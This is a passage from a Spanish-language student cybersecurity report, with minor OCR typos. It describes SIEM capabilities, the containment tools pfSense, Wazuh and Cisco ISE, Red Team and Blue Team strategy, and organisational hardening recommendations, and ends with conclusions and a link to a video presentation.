cual ayuda para la identificacion de IPs maliciosas, malware conocidos entre otros.
Adicional, permite la configuracion de alertas automaticas, las cuales se pueden configurar por
corros, dashboards o otros sistemas los cuales envian la notificacion una vez se detectan
comportamientos andémalos o incluso violaciones de politicas. Ofrece la opcion de dashboards
interactivos, en los cuales se pueden personalizar los reportes para monitorear el estado de
seguridad en tiempo real.
En las caracteristicas de un SIEM encontramos:
Centralizacion, la cual unifica los registros de multiples fuentes en un solo lugar.
Escalabilidad, lo que permite adaptarse a infraestructuras pequeiias o grandes.
Automatizacion, Automatiza la deteccion y respuesta a los incidentes.
Integracion, permite conectar con otros sistemas de seguridad como EDR, Firewall, etc.
Personalizacion lo que permite definir reglas, alertas y reportes segun las necesidades del
negocio.
2.3.5 Defina por lo menos 3 herramientas de contencion de ataques informaticos “hardware o
software”, recuerde que las herramientas de contencion son diferentes a las

herramientas de deteccion.

pfSense: Es una distribucion basada en FreeBSD que actia como un firewall y router de

nivel empresarial. Es ampliamente utilizada por organizaciones que buscan una solucion robusta
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y gratuita para proteger su red. Puede actuar como un punto de control centralizado para contener
amenazas antes de que lleguen a los sistemas internos.
Capacidades de contencion:
Bloqueo de IPs maliciosas en tiempo real.
Segmentacion de red mediante VLANSs y reglas de acceso.
Limitacion de ancho de banda para mitigar ataques de denegacion de servicio (DoS).
VPN segura para aislar accesos remotos.
Integracion con Snort o Suricata para contencidon automatica basada en deteccion de amenazas.
Wazuh: Es una plataforma de seguridad que combina capacidades de SIEM, HIDS
(Host-based Intrusion Detection System) y EDR. Aunque su enfoque principal es la deteccion,
permite ejecutar acciones de contencion automatizadas. Permite contener amenazas directamente
desde el agente instalado en el endpoint, sin necesidad de intervencion manual inmediata.
Capacidades de contencion:
Bloqueo de procesos maliciosos mediante scripts personalizados.
Aislamiento de endpoints al detectar comportamientos anoémalos.
Desactivacion de cuentas comprometidas automaticamente.
Control de dispositivos USB y ejecucion de comandos remotos para detener amenazas.
Permite contener amenazas directamente desde el agente instalado en el endpoint, sin necesidad
de intervencion manual inmediata.
Cisco Identity Services Engine (ISE) — NAC: Cisco ISE es una solucion de Network
Access Control (NAC) que permite definir politicas de acceso dindmicas basadas en la identidad,
el estado del dispositivo y su comportamiento. Permite contener amenazas desde el punto de

entrada a la red, evitando que dispositivos comprometidos interactiien con recursos criticos.
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Capacidades de contencion:

Poner en cuarentena dispositivos sospechosos automaticamente.

Desconectar dispositivos no autorizados o que no cumplan con politicas de seguridad.
Aplicar politicas de acceso diferenciadas segun el nivel de riesgo del dispositivo.

Integracion con soluciones de deteccion para actuar en tiempo real ante amenazas.

2.4 Socializacion Informe Tecnico

2.4.1 Aspectos que aporten al desarrollo de estrategias de RedTeam & BlueTeam.

El desarrollo de estrategias para equipos Red Team y Blue Team requiere un enfoque
integral que combine técnicas ofensivas y defensivas con una planificacion tactica clara. El Red
Team debe disenar estrategias basadas en la emulacion de amenazas reales, utilizando técnicas
como el reconocimiento pasivo, explotacion de vulnerabilidades, movimientos laterales y
persistencia, apoyandose en herramientas como Cobalt Strike o Metasploit. Estas acciones deben
estar alineadas con objetivos especificos, como evaluar la resiliencia de los sistemas o probar la
respuesta ante incidentes. Por otro lado, el Blue Team debe implementar estrategias centradas en
la visibilidad y la respuesta, como el despliegue de sistemas SIEM, la creacion de reglas de
deteccion personalizadas, el analisis de comportamiento y la gestion de vulnerabilidades.
Ademas, ambos equipos deben colaborar bajo un enfoque Purple Team, donde se disefian
ejercicios coordinados que permiten ajustar las defensas en tiempo real, mejorar la deteccion y
fortalecer la postura de seguridad organizacional. Esta sinergia estratégica no solo mejora la
preparacion ante ataques reales, sino que también promueve una cultura de ciberseguridad

continua y adaptativa.
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2.4.2 Recomendaciones para el planteamiento de estrategias que permitan endurecer

los aspectos de seguridad en una organizacion.

Para fortalecer la seguridad en una organizacion, es fundamental plantear estrategias
integrales que aborden tanto aspectos técnicos como humanos. Se recomienda iniciar con una
evaluacion de riesgos para identificar activos criticos y posibles vulnerabilidades, seguido de la
implementacion de una defensa en profundidad que combine controles perimetrales, internos y
de monitoreo. La gestion de identidades debe basarse en el principio de minimo privilegio y
autenticacion multifactor, mientras que la actualizacion constante de sistemas y parches reduce la
exposicion a amenazas conocidas. La capacitacion continua del personal en buenas practicas de
ciberseguridad es clave para mitigar errores humanos, y debe complementarse con politicas
claras y planes de respuesta a incidentes bien definidos. Ademas, realizar pruebas de penetracion
y ejercicios de Red Teaming permite evaluar la efectividad de las defensas, y la colaboracion

entre equipos técnicos y administrativos asegura una cultura de seguridad sélida y sostenible.
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Conclusiones

A través del laboratorio controlado, se logré simular un ataque real y aplicar técnicas de
intrusion, lo que fortalecio las habilidades técnicas en herramientas como Nmap, Metasploit y
VirtualBox.

Se evidenci6 la necesidad de actuar bajo principios €ticos y legales, especialmente en
contextos donde se manejan datos sensibles y se ejecutan pruebas de seguridad. La identificacion
de clausulas ilegales en contratos refuerza la importancia de la revision juridica en entornos
corporativos.

La implementacion de medidas de hardening, segmentacion de red, monitoreo con SIEM

y politicas de seguridad robustas son esenciales para prevenir y contener amenazas.
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Recomendaciones

Fomentar la colaboracion entre Red Team y Blue Team para mejorar continuamente las
defensas mediante ejercicios coordinados y retroalimentacion mutua.

Garantizar que todos los sistemas operativos y aplicaciones cuenten con las tltimas
actualizaciones de seguridad para reducir la superficie de ataque.

Capacitar continuamente al personal en buenas practicas, concienciacidon sobre amenazas
y procedimientos de respuesta ante incidentes.

Asegurar que los acuerdos laborales y de confidencialidad estén alineados con la
legislacion vigente y los principios éticos, evitando cldusulas que comprometan la integridad de

los empleados.



Enlace video sustentacion

https://youtu.be/WptqdP1-CwQ

Lo
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